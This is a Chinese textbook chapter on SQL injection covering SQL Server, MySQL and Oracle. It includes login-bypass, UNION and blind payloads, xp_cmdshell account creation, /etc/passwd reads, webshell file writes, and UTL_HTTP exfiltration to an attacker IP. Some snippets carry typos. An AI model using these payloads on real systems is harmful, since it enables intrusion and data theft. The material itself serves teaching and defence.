【第五章】SQL 注入漏洞

SQL 注入漏洞是Web层面最高危的漏洞之一。

5.1 SQL注入原理

想要更好地研究SQL 注入,就必须深入了解每种数据库的SQL 语法及特性。虽然现在的大多数数据库都会遵循SQL 标准,但是每种数据库也有自己的单行函数及特征。下面通过一个经典的万能密码案例,深入浅出地介绍SQL 注入漏洞。

下图是一个正常的登陆表单,输入正确的账号和密码后,JSP 程序会查询数据库:如果存在此用户并且密码正确,将会登陆成功,跳转至“FindMsg”页面;如果用户不存在或者密码错误,则会提示账号或密码错误。
【第五章】SQL 注入漏洞_第1张图片
接下来用一个比较特殊的用户

'or 1=1--

登录,密码不需要填写,在点击“登录”按钮后,发现可以正常登录。

经过对源代码分析发现,登陆处最终调用findAdmin 方法,代码如下:
【第五章】SQL 注入漏洞_第2张图片
上述SQL 语句的意思非常清楚:在数据库中查询username=xxx,并且password=xxx 的结果,若结果查询的值大于0,则代表用户存在,返回true,代表登陆成功,否则返回false,代表登陆失败。

这段代码看起来没什么错误,现在提交账号为admin,密码为password,跟踪SQL 语句,发现最终执行的SQL 语句为:

select count(*) from admin where username='admin' and password='password'

在数据库中,存在admin 用户,并且密码为password,所以此时返回的结果为1。显然,1大于0,所以通过验证。

接下来输入

'or 1=1--

并跟踪SQL 语句,最终执行SQL 语句为:

select count(*) from admin where uername=''or 1=1 --' and password=''

此时username和password 根本不起任何作用,因为“ username=’’ or 1=1 ”这条语句恒为真,而后面的语句–注释了,
所以即可登陆成功。

由此可知,SQL 注入漏洞的形成主要原因是:用户输入的数据被SQL 解释器执行。

仅仅知道SQL 注入漏洞形成的原因还不足以完美地做好SQL 注入的防护工作,因为它是防不胜防的。下面将介绍攻击者SAL 注入的常用几俩,以做好Web 防注入工作。

5.2 注入漏洞分类

在测试注入漏洞之前,首先要搞清楚一个概念:注入漏洞的分类。明白分类之后,可以达到事半功倍的效果。

常见SQL注入类型只有两种:数字型和字符型。

也有人把类型分得更多、更细。但不管注入类型如何,攻击者的目的只有一点,那就是绕过程序限制,使用户输入的数据带入数据库执行,利用数据库的特殊性获取更多的信息或者更大的权限。

5.2.1 数字型注入

当输入的参数为整型时,如:ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入,数字型注入是最简单的一种。假设有URL为

http://www.xxx.com/test.php?id=8

就可以猜测SQL 语句为:

select * from table where id =8

测试步骤如下

① ’

直接在末尾添加一个英文字符单引号:

http://www.xxx.com/test.php?id=8'

SQL 语句此时为:

select * from table where id=8'

从而使页面出现异常

② and 1=1

在末尾添加and 1=1
SQL 语句

select * from table where id = 8 and 1=1

语句执行正常,返回页面没有变化

③ and 1=2

在末尾添加and 1=2
SQL 语句变为

select * from table where id=8 and 1=2

返回页面出现异常
如果以上三个条件全部满足,则程序可能存在SQL 注入漏洞。

这种数字型注入最多出现在ASP、PHP 等弱类型语言中中,弱类型语言会自动推导变量类型,例如id=8,PHP 会自动推导变量id的数据类型为int类型,那么id=8 and 1=1,则会推导为string类型。而对于Java、C#这类强类型语言,如果试图把一个字符型转换为int 类型,则会抛出异常,无法继续执行。所以,强类型的语言很少存在数字型注入漏洞。

5.2.2 字符型注入

当输入参数为字符时,称为字符型。数字型与字符型注入的最大区别在于:数字型不需要单引号闭合,而字符型一般需要使用单引号闭合。

  • 数字型列句:
select * from table where id=8
  • 字符型列句:
select * from table where username='admin'

当攻击者进行SQl 注入时,如果输入

admin =1=1

是无法进行注入的。因为“admin and 1=1”会被当做字符串。

此时想要注入则必须注意字符串闭合问题。如果输入

admin' and 1=1-- 
# 减减空格会将后面的内容注释

就可以进行注入,此时SQL 语句如下:

select * from table where username='admin' and 1=1-- 

只要是字符串类型的注入,都必须闭合单引号以及注释多余的代码。例如,update 语句:

update Person set username='username',set password='password' where id=1

现在对其进行注入,就需要闭合单引号,可以在username或者password处插入

+(select @@version)+‘

SQL语句就会变为

update Person set username=''+(select @@version)+‘',set password='password' where id=1

注:数据库不同,字符串连接符也不同,如SQL Server连接符号为“+”,Oracle连接符为“||”,MySQL连接符为空格

5.2.3 SQL 注入分类

为什么这里将SQL 注入只分为了两类——字符型,数字型。因为对数据库查询时,一般只有两种:一种是数字类型,比如where id=1、where age >20,另外是字符串类型,比如where name=‘root’、where datetime>‘2013-08-18’。

那么Cookie 注入、POST 注入又是怎么回事呢?这类注入主要通过注入的位置来分辨。以下是一些常见的注入叫法:

  • POST 注入:注入字段在POST 数据中
  • Cookie注入:注入字段在Cookie 数据中
  • 延时注入:使用数据库延时的特点进行注入
  • 搜索注入:注入处为搜索的地点
  • base64注入:注入字符串需要经过base64 加密

5.3常见数据库注入

对于大多数数据库而言,SQL 注入的原理基本相似,因为每个数据库都遵循一个SQL 语法标准。但是他们之间也有很多细微的差异,包括语法、函数的不同。所以,在针对不同的数据库注入时,思路和方法不可能完全一样。下列将讨论Oracle 11g、MySQL5.1和SQL Server 2008 三种数据库的注入。

对数据库注入的利用方式可以归为三类:

  • 查询数据
  • 读写文件
  • 执行命令

在权限允许的情况下,通常数据库都支持以上三种操作。而攻击者对程序的注入,无论任何数据库,无非都是在做这三件事情,只不过不同的数据库注入的SQL 语句不一样罢了。

5.3.1 SQL Server

1.利用错误消息读取信息

SQl Server 数据库是一个非常优秀的数据库,它可以准确地定位错误消息,但是攻击者也可以利用这一优点。

① 枚举当前表及列

现有一张表,结构如下:
【第五章】SQL 注入漏洞_第3张图片
查询root 用户的详细信息,SQL 语句如下:

select * from users where username='root'

攻击者可以利用SQL Server特性来获取敏感信息,输入如下语句:

' having 1=1--

最终执行语句就变为:

select * from users where username='root' and password='root' having 1=1--'

那么SQL 执行器将会抛出一个错误(因版本差异,显示错误信息也会有差异):

消息8120,级别16,状态1,第2行
选择列表中的列'users.id' 无效,因为该列没有包含在聚合函数或GROUP BY子句中。

就可以发现当前表名为“users”,并且存在“ID”列名,攻击者就可以利用此特性继续得到其它列名,输入以下SQL 语句:

select * from users where username='root' and password='root' group by users.id having 1=1--'

执行器错误提示:

消息8120,级别16,状态1,第1行
选择列表中的列'users. username'无效,因为该列没有包含在聚合函数或GROUP BY 子句中。

可以看到执行器又抛出了“username”列名,由此可见依次递归查询,知道没有错误消息返回为止,纸样就可以利用having字句“查询”出当前表的所有列名。

② 利用数据类型错误提取数据

如果试图将一个字符串与非字符串作比较,或者将一个字符串转化为另外一个不兼容的类型时,那么SQL 编辑器会抛出异常,比如下列的SQL 语句:

select * from users where username='root' and password ='root' and 1 >(select top 1 username from users)

执行器错误提示:

消息245,级别16,状态1,第2行
在将varchar值 'root' 转换成数据类型int时失败。

可以发现root账户即为username中的第一个数据
得到一个数据后,还可以利用此方法还可以得出usernmae字段的所有数据:

select * from users where username='root' and password='root' and 1 > (select top 1 username from users where username not in('root'))

如果不进行嵌入子查询,也可以使数据库报错,这就要用到SQL Server的内置函数CONVERT 或者CASE 函数,其功能分都是:将一种数据类型转换为另外一种数据类型。输入如下SQL语句:

select * from users where username='root' and password='root' and 1=conver(int,(select top 1 user.username from users))

如果觉得递归比较麻烦,还可以通过使用FOR XML PATH 语句将查询的数据生成XML,SQL 语句如下:

select * from users where username='root' and password='root' AND 1=CONVERT(int,(seletct stuff((select ',' + users.username,'|' +users.password from users for xml path('')),1,1,'')))

执行器抛出异常:

消息245,級别16,状态1,第1行
在将nvarchar值' root |root , admin I admin , xxser Ixxser'转换成数据类型int时失败。

2.获取元数据

SQL Server提供了大量视图,便于取得元数据。下面将使用INFORMATION_SCHEMA.TABLES与INFORMATION_SCHEMA.COLUMNS视图取得数据库表以及表的字段。
取得当前数据库表

select table_name from information_schema.tables

【第五章】SQL 注入漏洞_第4张图片
取得Student表字段

select column_name from information_schema.columns where table_name='Student'

常见表视图:

数据库视图 说明
sys.databases SQL Server 中的所有数据库
sys.sql_logins SQL Server 中的所有登录名
information_schema.tables 当前用户数据库中的表
information_schema.columns 当前用户数据库中的字段
sys.all_columns 用户定义对象和系统对象的所有列的联合
sys.database_principals 数据库中每个权限或列异常权限
sys.database_files 储存在数据库中的数据库文件
sysobjects 数据库中创建的每个对象(例如约束、日志以及储存过程)

3.Order by 子句

微软解释 Order by 子句:为SELECT 查询列排序,如果同时指定了TOP 关键字,Order by 子句在视图、内联函数、派生表和子句查询中无效。
通常利用注入Order by 语句来判断此表的列数。

【第五章】SQL 注入漏洞_第5张图片
由此可以看出此表有三列。在Oracle、MySQL 数据库中同样适用此语句。

在得知列数后,通常配合UNION 关键字进行下一步攻击。

4.UNION 查询

UNION 关键字将两个或者多个查询结果组合为单个结果集,俗称联合查询,大部分数据库都支持UNION 查询,如:MySQL、SQL Server、Oracle、DB2 等。下面列出了使用UNION 合并两个查询结果集的基本原则。

  • 所有查询中的列数必须相同。
  • 数据类型必须兼容

例一:联合查询探测字段数

前面介绍的USER 表中,查询id字段为1的用户,正常的SQL 语句为:

select id,username,password,sex from users where id = 1 union select null

数据库发出异常:
在这里插入图片描述
递归查询,直到无错误产生,可得知User 表查询的字段数:

 union select null,null
 union select null,null,null

也有人喜欢用

union select 1,2,3

语句,不过该语句容易出现不兼容的异常。

例二:联合查询敏感信息

前面介绍了如何获取字段数,接下来介绍如何查询敏感信息,UNION 查询可以在SQL 注入中发挥非常大的作用。

如果得值列数是4,可以使用以下语句继续注入:

id = 5 union select 'x',null,null,null from sysobject where xtype='U'

如果第一列数据类型不匹配,数据库将会报错,这时可进行递归查询,直到语句正常执行。

id = 5 union select null,'x',null,null from sysobject where xtype='U'
id = 5 union select null,null,'x',null from sysobject where xtype='U'

语句执行正常代表数据类型兼容,就可将x换为SQL 语句,查询敏感信息。

也有攻击者喜欢用UNION ALL 关键字,UNION 和UNION ALL 的最大区别在于前者会自动去除重复的数据,并按照默认规则排序。

5.无辜的函数

SQL Server 提供了非常多的系统函数,利用该系统函数可以访问SQL Server 系统表中的信息,而无需使用SQL 语句查询。

使用系统函数非常简单:

  • select suer_name():返回用户的登录标识名
  • select user_name():基于指定的标识号返回数据库用户名
  • select db_name():返回数据库名称
  • select is_member(‘db_owner’):是否为数据角色
  • select convert(int,‘5’):数据类型转换

SQL Server 常用函数:

函数 说明
stuff 字符串截取函数
ascii 取ASCII码
char 根据ASCII码取字符
getdate 返回日期
count 返回组中的总条数
cast 将一种数据类型的表达式显示转换为另一种数据类型的表达式
rand 返回随机值
is_srvrolemember 指示SQL Server 登录名是否为指定服务器角色的成员

6.危险的储存过程

储存过程是在大型数据库系统中为了完成特定功能的一组SQL “函数”,如执行系统命令、查看注册表、读取磁盘目录等。

攻击者最常使用的储存过程是“xp_cmdshell”,这个储存过程允许用户执行操作系统命令。
例如:http://www.test.com/test.aspx?id=1存在注入点,那么攻击者就可以试试命令攻击:

http://www.test.com/test.aspx?id=1;exec xp_cmdshell 'net user test test /add'

注:并不是任何数据库用户都可以使用此类储存过程,用户必须持有CONTROL SERVER 权限。

像xp_cmdshell 之类的储存过程还有很多,常见的如下:

过程 说明
sp_ addlogin 创建新的SQL Server 登录,该登录允许用户使用SQL Server 身份验证连接到SQL Server 实例
sp_ dropuser 从当前数据库中删除数据库用户
xp_ enumgroups 提供Microsoft Windows本地组列表或在指定的Windows域中定义的全局组列表
xp_ regwrite 未被公布的存储过程,写入注册表
xp_ regread 读取注册表
xp_ regdeletevalue 删除注册表
xp_ dirtree 读取目录
sp_ password 更改密码
xp_ servicecontrol 停止或激活某服务

攻击者可能会自己写一些储存过程,比如I/O 操作,这些都是可以实现的。

另外,任何数据库在使用一些特殊的函数或者储存过程时,都需要特定的权限,否则无法使用。

SQLServer 数据库的角色与权限如下:

角色 权限
bulkadmin 角色成员可以运行BULK INSERT语句。
dbcreator 角色成员可以创建、更改、删除和还原任何数据库。
diskadmin 角色成员可以管理磁盘文件。
processadmin 角色成员可以终止在数据库引擎实例中运行的进程。
securityadmin 角色成员可以管理登录名及其属性。可以利用GRANT、DENY和REVOKE服务器级别的权限;还可以利用GRANT、DENY和REVOKE数据库级别的权限。此外,也可以重置SQL Server登录名的密码。
serveradmin 角色成员可以更改服务器范围的配置选项和关闭服务器。
setupadmin 角色成员可以添加和删除链接服务器,并可以执行某些系统存储过程。
sysadmin 角色成员可以在数据库引擎中执行任何活动。默认情况下,Windows BUILTIN\Administrators组(本地管理员组)的所有成员都是sysadmin固定服务器角色的成员。

7.动态执行

SQL Server 支持动态执行语句,用户可以提交一个字符串来执行SQL 语句,例如:

exec('select username,password from users')
exec('select'+'t username,password fro'+'m users')

也可以通过定义十六进制的SQL 语句,使用exec 函数执行。大部分Web 应用程序防火墙都过滤的单引号,利用exec 执行十六进制SQL 语句并不存在单引号,这一特性可以突破很多防火墙及防注入程序,如:

declare @query varchar(888)
select @query=0x73656C6563742031
exec(@query)

或者

declare/**/@query/**/varchar(888)/**/select/**/ @query=0x73656C6563742031/**/exec (@query)

MySQL

在上一节中详细描述了SQL Server 的注入过程,在注入其他数据库时,思路也是基本相同的,只不过两者使用的函数或语句稍有差别。比如,查看数据库版本,SQL Server 使用得函数为@@version,而MySQL 是 version()。

1.MySQL 中的注释

MySQL有以下3中风格的注释:

  • #:注释从“#”到行尾
  • – :注释从“-- ”到行尾。注意:–后要跟一个空格或tag
  • /* */:注释从/*到*/中间的内容

其中,“/* */” 注释存在一个特点,如下:

select id/*!55555,username*/ from users

执行结果如下:
【第五章】SQL 注入漏洞_第6张图片
发现“/* */”没有起到注释作用,其实在这里

/*!55555,username*/

的意思表示的是:如果MySQL版本号高于或者等于5.55.55语句注释内的内容就将会被执行

2.获取元数据

MySQL 5.0 及以上版本提供了INFORMATION_SCHEMA,INFORMATION_SCHEMA 是信息数据库,他提供了访问数据库元数据的方式。下面将介绍如何从中读取数据库名称、表名称及列名称。

① 查询用户数据库名称

select SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1

语句含义为:从INFORMATION_SCHEMA.SCHEMATA 表中查询出第一个数据库名称。INFORMATION_

SCHEMA.SCHEMATA 表提供了关于数据库的信息。

② 查询当前数据表

select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA= (select DATABASE()) limit 0,1

语句含义为:从INFORMATION_SCHEMA.TABLES 表中查询当前数据库表名,并且只显示一条数据,

INFORMATION_SCHEMA.TABLES 表给出了关于数据库中表的信息。

③ 查询指定表的所有字段

select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='Student' LIMIT 0,1

语句含义为:从 INFORMATION_SCHEMA.COLUMNS 表中查询 TABLE_NAME 为 Student 的字段名,并且只显示第一条。

INFORMATION_SCHEMA.COLUMNS 表给出了表中列的信息。

3.UNION 查询

MySQL 官方解释UNION 查询用于把来自许多SELECT 语句的结果组合到一个结果集合中,并且每列的数据类型必须相同。

MySQL 与 Oracle 并不像SQL Server 那样可以执行多语句。所以,在利用查询时,通常配合UNION 关键字。

前面已经详细讲述了SQL Server 中的UNION 查询。SQL Server 与MySQL、Oracle 中的UNION 关键字的使用基本相同,但也有少许差异:

分别在SQL Server、Mysql、Oracle 中执行以下SQL 语句:

select id,username,password from users union select 1,2,3

SQL Server 和Oracle 语句错误,数据类型不匹配,无法正常执行。
而MySQL 语句正常执行。

所以在不知道数据库类型的前提下,最好用NULL关键字匹配。

4.MySQL 函数利用

无论是MySQL、Oracle,还是气他数据库都内置了许多系统函数。接下来将深入讨论对渗透测试人员很有帮助的MySQL 函数。

① load_file() 函数读文件操作

使用MySQL 读取磁盘文件非常简单,可以直接利用MySQL 提供的load_file() 函数,但是要满足以下四点条件:文件的位置必须位于服务器上,文件路径也必须是绝对路径,用户还要要有FILE 权限,容量也必须小于max_allowed_packet(默认为16MB,最大为1GB)。

SQL 语句如下:

union select 1,load_file('/etc/passwd'),3,4,5,6 #

通常,一些防注入语句不允许单引号出现,那么使用以下语句绕过:

  • 十六进制转换
    将’/etc/passwd’转换为十六进制
union select 1,load_file(0x2F6563742F706173737764),3,4,5,6 #
  • ASCII码转换
    将/etc/passwd转化为ASCII 码,并配合使用char() 函数
union select 1,load_file(char(47,101,99,116,47,112,97,115,115,119,100)),3,4,5,6 #
  • 十六进制+ASCII
    在SQL 注入中,返回结果可能存在乱码,那么可以使用hex() 函数将字符串转换为十六进制数据:
union select 1,hex(load_file(char(47,101,99,116,47,112,97,115,115,119,100))),3,4,5,6 #

② into outfile 写文件

MySQL 提供了向磁盘写入文件的操作,与load_file() 一样,必须有FILE 权限,并且文件路径必须为绝对路径

写入文件:

select '' into outfile 'c:\wwwroot\1.php'

编码:

select char(99,58,92,50,46,116,120,116) into outfile 'c:\wwwroot\1.php'

③ 连接字符串

在MySQL 查询中,如果需要一次查询多个数据,可使用concat() 或者concat_was() 函数来完成。

  • concat() 函数
select name from student where id =1 union select concat(user(),',',database(),',',version());

查询结果如下:
在这里插入图片描述
可以发现,现在三个值已经成为了一列,并且以逗号隔开。在concat() 函数中也可以十六进制数表示:

select name from student where id =1 union select concat(user(),0x2c,database(),0x2c,version());
  • concat_ws() 函数
    如果觉得上面的写法比较复杂,那么可以用concat_was() 函数,如:
select name from student where id =1 union select concat_ws(0x2c,user(),database(),version());

第一个符号就表示分隔符

常用MySQL 函数以及说明

函数 说明
length 返回字符串长度
substring 截取字符串长度
ascii 返回ASCII码
hex 将字符串转换为十六进制
now 当前系统时间
unhex hex 的反向操作
floor(x) 返回不大于x的最大整数值
md5 返回MD5 值
group_concat 返回带有来自一个组的连接的非NULL 值得字符串结果
@@datadir 读取数据库路径
@@basedir MySQL安装路径
@@version_compile_os 操作系统
user 用户名
current_user 当前用户名
system_user 系统用户名
database 数据库名
version MySQL 数据库版本

同样使用这些函数也需要对应的权限

MySQL 函数的权限:

权限 权限级别 权限说明
CREATE 数据库、表或索引 传建数据库、表或索引权限
DROP 数据库或表 删除数据库或表权限
GRANT OPTION 数据库、表或保存的程序 赋予权限选项
ALTER 更改表,比如添加字段
DELETE 删除数据权限
INDEX 索引权限
INSERT 插入数据权限
SELECT 表查询权限
UPDATE 更新权限
CREATE VIEW 视图 创建视图权限
SHOW VIEW 视图 查看视图权限
ALTER ROUTINE 储存过程 更改储存过程权限
CREATE ROUTINE 储存过程 创建储存过程权限
EXECUTE 储存过程 执行储存过程权限
FILE 服务器主机上的文件访问 文件访问权限
CREATE TEMPORARY TABLES 服务器管理 创建临时表权限
LOCK TABLES 服务器管理 锁表权限
CREATE USER 服务器管理 创建用户权限
PROCESS 服务器管理 查看进程权限
RELOAD 服务器管理 执行flush-hosts 、flush-logs 、flush-privileges 等命令权限
REPLICATION CLIENT 服务器管理 复制权限
REPLICATION SLAVE 服务器管理 复制权限
SHOW DATABASES 服务器管理 查看数据库权限
SHUTDOWN 服务器管理 关闭数据库权限
SUPER 服务器管理 执行kill线程权限

5.MySQL 显错式注入

MySQL 也存在显错式注入,可以像SQL Server 数据库那样,使用错误提取消息。

对于SQL Server 方式,比如将一个字符串转换为Int 类型,SQL Server 将会报错,同样的方式,在MySQL 数据库中使用类似的如下转换语句:

select convert((select @@version),SIGNED);

【第五章】SQL 注入漏洞_第7张图片
发现根本没有错误消息。虽然MySQL 不能直接转换报错,但可以利用MySQL 中的一些特性提取信息。

① 通过updatexml 函数,执行SQL 语句

select * from message where id = 1 and updatexml(1,(concat(0x7C,(select @@version))),1);

显示结果如下:
在这里插入图片描述

② 通过extractvalue 函数,执行SQL 语句

select * from message where id = 1 and extractvalue(1,concat(0x7C,(select user())));

显示结果如下:
在这里插入图片描述

③ 通过floor 函数,执行SQL 语句

select * from message where id = 1 union select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b

显示结果如下:
在这里插入图片描述
通过此类函数,可以达到与SQL Server 数据库显错类似的效果。

6.宽字节注入

宽字节漏洞是由编码不统一造成的,这种注入一般出现在PHP+MySQL 中。

在PHP 配置文件php.ini 中存在magic_quotes_gpc 选项,被称为魔术引号,当此选项被打开时,使用GET、POST、Cookie 所接收的“ ’ ”(单引号)、“ " ”(双引号)、“ \ ”(反斜杠)和NULL 字符都会被自动打上一个反斜线转义,如下PHP 代码使用$_GET 接受数据:


	echo "

input:".$_GET['id']."

"
; ?>

访问URL:

http://www.test.com/Get.php?id='

返回结果:

input:\'

再次访问URL:

http://www.test.com/Get.php?id=%d5

返回结果:

input:誠'

可以发现,此次单引号没有被转义,而是变成了“誠”,这样就可以突破PHP 的转义,继续闭合SQL 语句进行注入。

7.MySQL 长字符截断

MySQL 超长字符截断又名“SQL-Column-Truncation”,是安全研究者Stefan Esser 提出的。

在MySQL 中的设置里有一个sql_mode 选项,当sql_mode 设置为default 时,即没有开启STRICT_ALL_TABLES 选项时(MySQL sql_mode 默认即default),MySQL 对插入超长的值只会提示warning,而不是error,这样就可能导致一些阶段问题。

新建一张表测试,表的结构如下:

CREATE TABLE USERS (
	id int(11) NOT NULL,
	username varchar(7) NOT NULL,
	password varchar (12) NOT NULL
)

分别插入以下SQL 语句:

① 插入正常SQL 语句:

在这里插入图片描述

② 插入错误的SQL 语句,此时的“admin ”右面有三个空格,长度为8,已经超过了原有的规定长度。

在这里插入图片描述

③ 插入错误的SQL 语句,长度已经超过原有的规定长度。

在这里插入图片描述
MySQL 提示三条语句都已经插入到数据库,只不过后面两条语句产生了警告。那么最终有没有插入数据库呢?执行SQL 语句查看一下就知道了。

select username from users;

【第五章】SQL 注入漏洞_第8张图片
可以看到,三条数据都被插入到了数据库,但是值发生了变化,此时再通过length 来去的长度,判断值的长度。

select length(username) from users where id = 1;

【第五章】SQL 注入漏洞_第9张图片

select length(username) from users where id = 2;

【第五章】SQL 注入漏洞_第10张图片
select length(username) from users where id = 3;
【第五章】SQL 注入漏洞_第11张图片
可以发现,第二条与第三条长度都为7,也就是列的规定长度,由此可知,在默认情况下,如果数据超出默认长度,MySQL 会将其截断。

但这样如何攻击呢?下面查询用户名 ‘admin’ 就知道了。

select username from where username = 'admin';

【第五章】SQL 注入漏洞_第12张图片
只查询用户名为admin 的用户,但是另外两个长度不一致的admin 用户也被查询出,这样就会造成一些安全问题,比如,有一些管理员登录是这样判断的,语句如下:

$sql = "select count(*) from users where username='admin' and password='*****'";

假设这条SQL 没有任何注入漏洞,攻击者也可能登录到管理页面。

假设管理员登录名为admin ,那么攻击者只需注册一个用户名为“admin(若干空格)”的用户即可轻松进入后台管理页面,就像著名的WordPress 就被这样的方式攻击过。

8.延时注入

在前面的章节提到过,可以在URL 参数提交单引号等特殊语句,然后根据页面差异来判断是否存在SQL 注入漏洞。而到现在,一般网站页面做得非常好,无论在参数后面加什么语句都不会变化,这样一来,只能盲注判断,盲注的意思即页面无差异的注入

延时注入属于盲注技术的一种,是一种基于时间差异注入技术,下面将以MySQL 为例讲解延时注入。

在MySQL 中常有一个函数:SLEEP(duration),这个函数的意思是在duration 参数给定的秒后运行语句,如下SQL 语句:

select * from users where id = 1 and sleep(3);

意思就是三秒后执行SQL 语句

知道了sleep 函数可以延时后,那么就可以使用这个函数来判断URL 是否存在SQL 注入漏洞,步骤如下:

http://www.test.com/test.jsp?id=1  // 页面返回正常,1秒左右可以打开页面
http://www.test.com/test.jsp?id=1'  // 页面返回正常,1秒左右可以打开页面
http://www.test.com/test.jsp?id=1' and 1=1  //页面返回正常,1秒左右可以打开页面
http://www.test.com/test.jsp?id=1 and sleep(3)  // 页面返回正常,3秒左右可以打开页面

通过页面返回的时间可以断定,DBMS 执行了and slepp(3) 语句,这样一来就可以判断URL 存在SQL 注入漏洞。

通过sleep 函数不仅可以判断注入点,还能读取数据,下面是通过延时注入读取当前MySQL 用户的例子。

思路:
①:查询当前用户,并取得字符串长度。

and if(length(user())=0,sleep(3),1)
// 循环0,如果出现3秒延时,就可以判断字符串长度,注入式通常采用折半法判断

②:截取字符串第一个字符,并转换为ASCII 码。

and if(hex(mid(user(),1,1))=1,sleep(3),1)
// 取出user 字符的第一个字符,然后与ASCII 码循环对比

③:将第一个字符的ASCII 码与ASCII 码表对比,如果成功将延时三秒。

and if(hex(mid(user(),L,1))=N,sleep(3),1)
// 递归破解第二个ASCII 码、第三个ASCII 码,直至字符串最后一个字符为止。

注:L代表字符串第几个字符的位置,N代表其ASCII 码

同理,既然通过延时注入可以读取当前MySQL 用户,那么读取表、列、文件都是可以实现的。

不仅在MySQL 中存在延时注入函数,在SQL Server、Oracle 等数据库中也都存在类似功能的函数,比如SQL Server 中的waitefor delay、Oracle 中的DBMS_LOCK.SLEEP 等函数。

5.3.3 Oracle

1.获取元数据

Oracle 中同样无需担心表名是否可以猜解,因为Oracle 也支持查询元数据,下面是Oracle 注入中常用的元数据视图。

① user_tablespaces 视图,查看表空间。

select tablespace_name from user_tablespaces

② user_tables 视图,查看当前用户的所有表。

select table_name from user_tables where rownum = 1

③ user_tab_columns 视图,查看当前用户的所有列,例如:查询users 表的所有列。

select column_name from user_tab_columns where table_name='users'

④ user_objects 视图,查看当前用户的所有对象(表名称、约束、索引)。

select object_name from user_objects

以上5种视图是最常用于读取元数据的方式。

2.UNION 查询

Oracle 与MySQL 一样,是不支持多语句执行的,不像SQL Server 那样可以注入多条SQL 语句,如:

http://www.test.com/news.aspx?id=1;exec xp_cmdshell 'net user temp test /add' --

在Oracle 普通注入时,与其他数据库几乎是相同的,比如,以下URL 存在注入漏洞:http://www.test.com/news.aspx?id=1,且数据库为Oracle,在注入时使用最频繁的还是UNION 查询,步骤如下:

第一步:获取列的总数。

获取列的总数与SQL Server 类似,依然可以使用Order by 子句来完成,如:Order by 1,Order by 2,Order by 3,Order by n,直到与原始请求返回数据不同。

另一种办法是使用union 关键字来确定,但Oracle 规定,每次查询时后面必须跟表名称,如果没有表名称,那么查询将不成立。也就是说,是一个错误的SQL 语句,在MySQL 或 SQL Server,中可以直接使用:

union select null,null,null...

但在Oracle 中必须使用:

Union select null,null,null... from dual

此时的dual 就是Oracle 的虚拟表,在不知道数据库中存在哪些表的情况下,可以使用此表作为查询表。

Oracle 也是强类型数据库,不想MySQL 那样可以直接 union select 1,2,3…(数据类型不明确时),Oracle 必须明确数据类型,所以一般都使用null 来代替。

第二步:获取敏感信息。

Oracle 与其他数据库注入类似,可以获取一些敏感信息,对下一步渗透起到辅助作用,常见的敏感信息如下。

  • 当前用户权限:select * from session_roles
  • 当前数据库版本:select banner from sys.v$version where rownum=1
  • 服务器出口IP:用utl_http.request 可以实现
  • 服务器操作系统:select member from v$logfile where rownum=1
  • 服务器sid:select instance_name from$instance
  • 当前连接用户:select SYS_CONTEXT(‘USERENV’,‘CURRENT_USER’) from dual

第三步:获取数据库表及其内容。

在得知表的列数后,可以通过查询元数据的方式查询表名称、列,然后查询数据,如:

http://www.test.com/news.jsp?id=1 union select username,password,null from users--

这里需要注意的是,在查询数据时,同样要注意数据类型,否则无法查询,这只能一一测试。

http://www.test.com/news.jsp?id=1 union select username,null,null from users--
http://www.test.com/news.jsp?id=1 union select null,username,null from users--
http://www.test.com/news.jsp?id=1 union select null,null,username from users--

另外,在得知列数后,可以通过暴力猜解的方式来枚举表名称,如:

http://www.test.com/news.jsp?id=1 union select null,null,null from tableName--

同样也可以使用相同的办法枚举例如:

http://www.test.com/news.jsp?id=1 union select columns,null,null from tableName--
http://www.test.com/news.jsp?id=1 union select null,columns,null from tableName--

3.Oracle 中包的概念

Oracle 包可以分为两部分,一部分是包的规范,相当于Java 中的接口,另一部分是包体,相当于Java 里的实现类,实现了具体操作。

在Oracle 中,存在许许多多的包,为开发者提供了许多便利,同时也为攻击者打开了大门,如:执行系统命令、备份、I/O 操作等。

在Oracle 注入中,攻击者大概都知道一个包:UTL_HTTP,该包提供了对HTTP 的一些操作,比如:

SELECT UTL_HTTP.REQUEST('http://wwwbaidu.com') FROM DUAL;

执行这条SQL 语句,将会返回baidu.com 的HTML 源码。很多时候页面不能直接回显,攻击者可以利用此包将数据反弹到一个外网IP 查看,具体步骤如下:

第一步:使用NC 监听数据

nc -l -vv -p 8888

第二步:反弹数据信息

and UTL_HTTP.request('http://IP:8888/'||(SQL 语句))=1--

通过这两步可以反弹数据,但前提是该服务器可以联网,且UTL_HTTP 必须存在,判断UTL_HTTP 是否存在可以使用以下SQL 语句:

select count(*) from all_objects where object_name='URL_HTTP'

没有接触过Oracle 的读者可能会问:这不是其他数据库中的数据吗?确实有点类似,不过不是。

有读者可能更关心的是Oracle 的I/O 能力,或者是如何调用系统命令。以Oracle 读写文件为例,在Oracle 中提供了包UTL_FILE 专门用来操作I/O,对磁盘文件读取操作的步骤如下:

第一步:准备写入目录。

create or replace directory XXSER_DIR as 'C:\'

第二步:写入文件。

declare
xs_file utl_file.file_type; --定义变量的类型为utl_file.file_type
begin
xs_file := utl_file.fopen('XXSER_DIR','bug.jsp','W');--写入名称
utl_file,put_line(xs_file,'木马后门'); --写入字符串,每次写一行
utl_file.put_line(xs_file,'木马后门2'); --写入字符串,如果只写一行,这行可以删了
utl_file.fflush(xs_file); --刷缓冲
utl_file.fclose(xs_file); --关闭文件指针
end;

写文件只需要两步,读文件也是两步。

准备所读取的文件目录。

create or replace directory XXSER_DIR as 'D:\';

第二步:读文件。

declare
xs_file utl_file.file_type; --定义变量.
fp_buffer varchar2(4000); --读取文件大小
begin
xs_file := ut1_ file.fopen('XXSER_DIR','xxser.jsp','R'); --指定文件
utl_file.get_line(xs_file,fp_buffer); --读取一行放到fp_buffer 变量
dbms_output.put_line(fp_buffer);--在终端输出结果
utl_file.fclose(xs_file); --关闭文件指针
end;

5.4 注入工具

5.4.1 SQLMap

SQLMap 的特点如下:

  • 数据库支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase 和SAP MaxDB
  • SQL 注入类型包括SQL 盲注、UNION 注入、显错式注入、时间盲注、盲推理注入和堆查询注入等技术
  • 支持枚举用户、密码哈希、权限、角色、数据库、表和列
  • 支持执行任意命令
